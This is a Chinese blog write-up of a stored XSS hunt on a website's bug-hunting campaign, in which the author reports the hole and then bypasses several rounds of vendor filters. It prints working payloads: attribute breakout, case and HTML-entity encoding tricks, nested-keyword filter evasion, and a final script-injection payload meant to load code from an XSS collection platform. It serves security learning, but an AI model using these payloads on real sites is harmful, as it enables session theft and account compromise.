存储型XSS从易到难的挖掘过程

一日在某站点发现一个找茬活动,感觉是另类的src就参与了一下。就发生了这次有趣的XSS测试过程。

[[113194]]

0×00 开始

(注意1)XSS不仅存在于页面上直观所在的位置,所有用户输入的信息都有可能通过不同形式返回到页面上,因此直接操作数据包来查找XSS显得更加有效。

回到该站点,在该站点一处生成app处存在一处忘记过滤。

发送的数据包如下:

  1. appName=TEST&icon=&loadimage=%2Ftemplate201309%2F29%2Floadimage%2F1a8aaba1-42bd-401b-9995-0f7ba08f191b.png&diyAppid=0210bd39-de98-4a1b-b855-4b0a0732894a 

经过测试发现其中loadimage参数未经过过滤,这也就是我说的隐藏的输入输出位,最终直接构造:

  1. loadimage=xxxxx"%20onerror="alert(1)"  

0×01 觉醒

在漏洞上报之后,程序员觉醒了,由于涉及其它页面参数输出过滤的影响,无法直接使用粗暴的编码把”(双引号)过滤,而是使用一定的过滤规则来规避xss攻击。

(注意2)XSS绕过一般针对于程序员所使用的过滤规则的疏漏,但是首要目标应该是在程序员未过滤的点上,而只有规则的不严谨才有绕过的可能。

在得到客服的回复确认漏洞修复之后,再次回到该点进行测试,继而发现了有趣的情况。

测试代码:

  1. loadimage=xxxxx"%20onerror="alert(1)" à  <img class="appicon_img" src="xxxxxx" ***(1)> 

经过这个测试用例发现,在空格之后的内容经过了一次处理,将其中alert替换成了***,onerror=直接删除。

分析发现空格之后的内容会被直接删除,onXXX被直接删除。

于是结合过往经验,使用大小写来尝试绕过字符串替换。

测试代码:

  1. loadimage=xxxxx"onError="alert(1)" à<img class="appicon_img" src="xxxxxx"onError=”***(1)”> 

于是我们利用了浏览器的一个特性,在解析的时候将双引号与其后内容分割,所以在源码中是:

  1. <img class="appicon_img" src="xxxxxx"onError=”***(1)”> 

而解析过程中显示:

  1. <img class="appicon_img" src="xxxxxx" onError=”***(1)”>(自动添加空格) 

之后就是要构造我们的alert。(只有alert才是我想要的,什么prompt,confirm都不是我想要的。)

这里要说到的就是转编码的利用。

详文可参考:

http://drops.wooyun.org/tips/689

处于html上下文的字符串将会优先进行一次html解码,而处于onXXXX、javascript:、script等标签之中的则处于javascript上下文,其中变量字符串将会执行一次javascript解码。

运用这个特性,我们可以在onerror事件当中使用html编码来构造任意字符,而其中所必须的字符为&,很幸运的时该字符并未被过滤。因此我可以使用其构造任意字符,达到绕过的效果。

直接构造:

  1. loadimage=xxxxx"onError="%26#x61lert(1)" 

0×02 绝杀

再次提交客服,并得到修复确认后,又进行了一次测试,之后继续有趣。

(注意3)确定过滤规则是绕过限制的第一步,通过已知规则构造绕过payload来生成所需字符为最终目的。

绕过富文本大概的思路就是这样。

继续通过输入不同字符串来检查新增的过滤规则,最终得到几条有用的信息:

  1. <img src="1"onerroonerrorr=r/> ==> <img src="1"onerror> 
  2. <img src="1"onerror===”xxx” /> ==> <img src="1" =”xxx” /> 

本以为结合一下就成了,没想到变成这样:

  1. <img src="1"onerroonerrorr=ronerror===”xxx”/> ==> <img src="1" /> 

初步分析等到的规则:

1、onxxx= 将会去除on以及=和它们之间的内容

2、有 = 号就会检查前面有没有on

3、tab %20(空格)之后的内容全部清除

4、碰到双引号就停止删除

大概统计了一下以上的过滤规则,就可以开始构造payload了。

使用src=”1″onerroonerrorr=r生成onerror。

使用%0a(换行)来分割导致过滤不起作用。

最终完成了整条payload:

  1. <img src="1"onerroonerrorr=r%0a="prompt(/just kidding!/)" /> 

(这次不计较与alert了,使用上一条方法即可。)

最终截图:

同样可以解析成功!

0×03 利用

完整的XSS一定需要附带利用的过程,可完整构造payload还需要考虑很多情况,比如关键字符串的替换、输出点允许的最大字长、是否可影响其他用户或管理员。

最终侦查该点,长度为262个字符,替换了script、create等字符,不过通过之前记录下来的方法完全可以利用。

Payload:

  1. <img/src="1" onerroonerrorr=r%0a="window.s=document.cre%26#61teElement(String.fromCh%26#61rCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(1,2,3,4,5,6,7,8);document.body.%26#61ppendChild(window.s)"> 

即使你的xss平台URL很长,也可以通过利用短域名压缩的方式达到一个较低的水平。

0×04 总结

新手在找XSS的时候总是存在一些盲点,无法全面的获取用户输入位以及该点的输出页面,对于存储型XSS来说,输出的页面不局限于当前页面。

探查程序的代码逻辑是绕过的根本,fuzz虽然提高了效率,但是想要准确的发现问题必须有要针对性的构造语句。

另外一些领悟可以移驾gainover所写的一篇短文:

http://zone.wooyun.org/content/1557

0×05 后话

最后一次绕过是在5.12,不知道之后该站程序员会怎么样去处理这个问题。

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/147982.html<

(0)
管理的头像管理
上一篇2025-03-11 22:51
下一篇 2025-03-11 22:53

相关推荐

  • 高防服务器的防御原理是什么,如何选择高防服务器?

    高防服务器的防御原理,简单说就是通过流量清洗、防火墙规则和黑洞路由等机制,在攻击流量到达业务服务器之前将其过滤或阻断,从而保障正常访问,流量清洗机制是核心防线高防服务器对抗DDoS攻击,靠的不是单一技术,而是一套组合动作,最常见的攻击类型是流量型攻击,比如UDP洪水、SYN洪水、ICMP放大等,核心思路是耗尽带……

    2026-07-26
    0
  • BGP线路到底是什么意思呢,有什么优势?

    BGP线路是一种通过边界网关协议实现多运营商网络互联的接入方式,能自动选择最优路径,极大提升跨网访问速度和稳定性,是解决国内南北网络瓶颈的核心方案,什么是BGP线路BGP,全称Border Gateway Protocol,边界网关协议,是互联网核心路由协议之一,它负责在自治系统之间交换网络可达性信息,BGP线……

    2026-07-26
    0
  • 增值电信业务经营许可证对IDC有多重要,如何办理?

    增值电信业务经营许可证是IDC服务商合法运营的核心凭证,它直接决定了机房能否接入骨干网、客户能否放心托管业务,以及服务商自身能否长期稳定发展,许可证是IDC进入市场的硬门槛互联网数据中心业务属于增值电信业务中的B1类,依据工信部《电信业务经营许可管理办法》,任何从事服务器托管、虚拟主机、云服务等业务的企业,必须……

    2026-07-26
    0
  • 站群服务器一个IP放几个网站合适?,怎么选

    站群服务器一个IP放3-5个网站是大多数情况下的最佳平衡点,但具体数量需根据网站权重、内容质量及IP资源成本灵活调整,这个结论基于搜索引擎对同IP站点的关联判定逻辑,以及站群运营的长期实践,如果你刚接触站群,可能会纠结于IP分配,但核心原则是:不要让搜索引擎轻易识别出这些网站属于同一实体,站群IP分配的底层逻辑……

    2026-07-26
    0
  • DDoS攻击和CC攻击有什么区别,怎么防御?

    DDoS攻击和CC攻击最核心的区别在于攻击目标不同:DDoS攻击主要消耗网络带宽和基础设施资源,而CC攻击专门针对应用层逻辑,耗尽服务器CPU和数据库连接数,两者从原理到防御手段完全不同,攻防视角下的本质差异攻击目标:一个砸门,一个撬锁DDoS攻击(分布式拒绝服务)瞄准的是网络层和传输层,通过大量伪造数据包或畸……

    2026-07-26
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注